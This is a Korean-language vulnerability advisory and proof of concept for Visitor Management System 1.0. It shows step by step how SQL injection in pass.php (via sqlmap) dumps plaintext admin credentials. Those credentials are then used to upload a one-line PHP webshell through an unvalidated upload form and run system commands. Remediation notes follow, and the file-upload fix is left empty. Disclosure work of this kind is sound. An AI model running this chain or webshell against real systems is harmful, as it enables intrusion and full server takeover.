
Visitor Management System 1.0에서 SQL 인젝션과 무제한 파일 업로드를 연쇄적으로 활용하여 원격 코드 실행을 달성하는 개념 증명으로, 단계별 공격 절차와 대응 가이드를 포함합니다.
| 필드 | 세부 정보 |
|---|
| 제품 | 방문자 관리 시스템 (Visitor Management System) |
| 공급업체 | code-projects.org |
| 버전 | 1.0 |
| 취약점 클래스 | SQL 인젝션 (CWE-89) + 무제한 파일 업로드 (CWE-434) |
| CVE ID | 대기 중 |
| CVSS 점수 | 9.8 치명적 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 인증 필요 | 진입점으로 낮은 권한 (가드 계정) |
| 영향받는 파일 | /vms/php/pass.php, /vms/php/admin_user_0.php |
| 취약한 매개변수 | phone (POST) |
code-projects.org의 방문자 관리 시스템 1.0은 SQL 인젝션과 무제한 파일 업로드를 결합하여 원격 코드 실행으로 이어지는 치명적인 공격 체인에 취약합니다.
낮은 권한(가드 계정)을 가진 공격자는 pass.php의 phone POST 매개변수를 통한 SQL 인젝션 취약점을 악용하여 관리자 일반 텍스트 자격 증명을 포함한 전체 데이터베이스를 덤프할 수 있습니다. 추출된 자격 증명을 사용하여 관리자로 인증한 후, 공격자는 파일 유형 또는 확장자 검증을 수행하지 않는 관리자 사용자 관리 패널(admin_user_0.php)을 통해 PHP 웹셸을 업로드할 수 있습니다. 업로드된 웹셸은 웹에서 접근 가능한 디렉토리에 저장되며 URL을 통해 직접 실행되어 서버에서 완전한 원격 코드 실행을 초래합니다.
또한, 비밀번호는 데이터베이스에 일반 텍스트로 저장되므로, SQLi 덤프 후 크래킹 단계가 필요하지 않습니다.
낮은 권한 가드 로그인
↓
pass.php의 SQL 인젝션 (phone 매개변수)
↓
sqlmap 덤프 → 일반 텍스트 관리자 자격 증명 추출
↓
관리자로 로그인 (sanjay1:7861)
↓
admin_user_0.php의 무제한 파일 업로드
↓
PHP 웹셸을 /vms/php/folder/에 업로드
↓
?cmd=whoami를 통한 RCE → 전체 서버 장악
VMS 애플리케이션으로 이동하여 가드 자격 증명으로 로그인합니다. 로그인 후 전화번호 페이지로 이동합니다:
http://<TARGET>/vms/php/phone_0.php

전화번호 값으로 작은따옴표 ' 하나를 제출합니다. 애플리케이션은 원시 쿼리와 파일 경로를 노출하는 치명적인 MariaDB 오류를 발생시킵니다:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
영향받는 파일: pass.php 9번째 줄
취약한 매개변수: phone (POST)

sql 오류

Burp Suite에서 캡처한 요청을 파일(sqli.txt)로 저장하고 sqlmap을 실행합니다:
sqlmap -r sqli.txt --dump --batch
sqlmap은 vms 데이터베이스에서 login_user 테이블을 성공적으로 덤프하여 모든 사용자의 일반 텍스트 자격 증명을 노출합니다:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
참고: 비밀번호는 일반 텍스트로 저장됩니다 — 해시 크래킹이 필요하지 않습니다.

추출된 관리자 자격 증명을 사용하여 관리자 패널에 로그인합니다:
Username: sanjay1
Password: 7861
이제 직원, 부서, 관리자 사용자 및 보고서 관리를 포함한 전체 관리자 대시보드에 접근할 수 있습니다.

관리자 사용자 관리 페이지로 이동합니다:
http://<TARGET>/vms/php/admin_user_0.php
이 페이지에는 프로필 이미지용 파일 업로드 필드가 있습니다. 애플리케이션은 파일 유형 검증, 확장자 필터링, MIME 유형 확인을 전혀 수행하지 않습니다.
양식에 임의의 값을 입력하고 다음 PHP 웹셸을 이미지 파일(web2_command.php)로 업로드합니다:
<?php echo shell_exec($_GET['cmd']); ?>

관리자 사용자 표시 페이지로 이동합니다:
http://<TARGET>/vms/php/admin_display_0.php
새로 생성된 관리자 계정이 테이블에 표시됩니다. 업로드된 웹셸은 다음 위치에 저장됩니다:
http://<TARGET>/vms/php/folder/web2_command.php

웹셸을 통해 임의의 시스템 명령을 실행합니다:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
결과: 서버는 완전한 원격 코드 실행을 확인하는 현재 시스템 사용자를 반환합니다:
desktop-g1i9np3\dell

| 파일 | 취약점 |
|---|---|
/vms/php/pass.php | phone POST 매개변수를 통한 SQL 인젝션 |
/vms/php/admin_user_0.php | 무제한 파일 업로드 — 확장자 또는 MIME 검증 없음 |
/vms/php/folder/ | 웹셸 저장 디렉토리 — 웹에서 접근 가능, 제한 없음 |
SQL 인젝션의 경우:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
파일 업로드의 경우:
비밀번호 저장의 경우:
password_hash() 및 password_verify() 사용 — 일반 텍스트로 저장하지 않음